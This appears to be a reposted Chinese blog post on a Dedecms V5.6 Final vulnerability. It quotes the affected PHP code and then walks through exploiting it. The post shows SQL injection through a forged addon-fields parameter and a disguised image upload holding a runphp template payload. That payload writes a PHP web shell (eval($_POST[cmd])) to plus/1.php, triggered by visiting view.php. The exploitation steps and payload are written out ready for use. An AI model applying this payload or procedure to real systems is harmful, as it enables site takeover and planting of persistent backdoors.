一个不小心,你的服务器就会被黑客攻破,比如数据库密码过于简单,服务器密码过于简单,或者CMS系统漏洞。 下面是一个DEDE的模板执行漏洞。 漏洞描述:Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。 1、member/article_edit.php文件(注入): 漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。 //分析处理附加表数据 $inadd_f = ''; if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields { $addonfields = explode(';',$dede_addonfields); if(is_array($addonfields)) { print_r($addonfields); foreach($addonfields as $v) { if($v=='') { continue; } $vs = explode(',',$v); if(!isset(${$vs[0]})) { ${$vs[0]} = ''; } ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid); $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' "; echo $inadd_f; } } } … if($addtable!='') { $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//执行构造的sql if(!$dsql->ExecuteNoneQuery($upQuery)) { ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;"); exit(); } } … 2、include/inc_archives_view.php: 这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。 … //issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询 if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1) { if(is_array($this->addTableRow)) { $this->Fields['redirecturl'] = $this->addTableRow['redirecturl']; $this->Fields['templet'] = $this->addTableRow['templet'];//取值 $this->Fields['userip'] = $this->addTableRow['userip']; } $this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet'])); $this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl'])); $this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip'])); } else { $this->Fields['templet'] = $this->Fields['redirecturl'] = ''; } … //获得模板文件位置 function GetTempletFile() { global $cfg_basedir,$cfg_templets_dir,$cfg_df_style; $cid = $this->ChannelUnit->ChannelInfos['nid']; if(!emptyempty($this->Fields['templet'])) { $filetag = MfTemplet($this->Fields['templet']); if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag; } else { $filetag = MfTemplet($this->Typelink->TypeInfos["temparticle"]); } $tid = $this->Fields['typeid']; $filetag = str_replace('{cid}', $cid,$filetag); $filetag = str_replace('{tid}', $tid,$filetag); $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag; if($cid=='spec') { if( !emptyempty($this->Fields['templet']) ) { $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag; } else { $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm"; } } if(!file_exists($tmpfile)) { $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm'); } return $tmpfile; } 漏洞利用: 1.上传一个模板文件: 注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是: uploads/userup/2/12OMX04-15A.jpg 模板内容是(如果限制图片格式,加gif89a): {dede:name runphp='yes'} $fp = @fopen("1.php", 'a'); @fwrite($fp, '<'.'?php'."rnrn".'eval($_POST[cmd])'."rnrn?".">rn"); @fclose($fp); {/dede:name} 2.修改刚刚发表的文章,查看源文件,构造一个表单: 提交,提示修改成功,则我们已经成功修改模板路径。
3.访问修改的文章: 假设刚刚修改的文章的aid为2,则我们只需要访问: http://127.0.0.1/dede/plus/view.php?aid=2 即可以在plus目录下生成小马:1.php
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)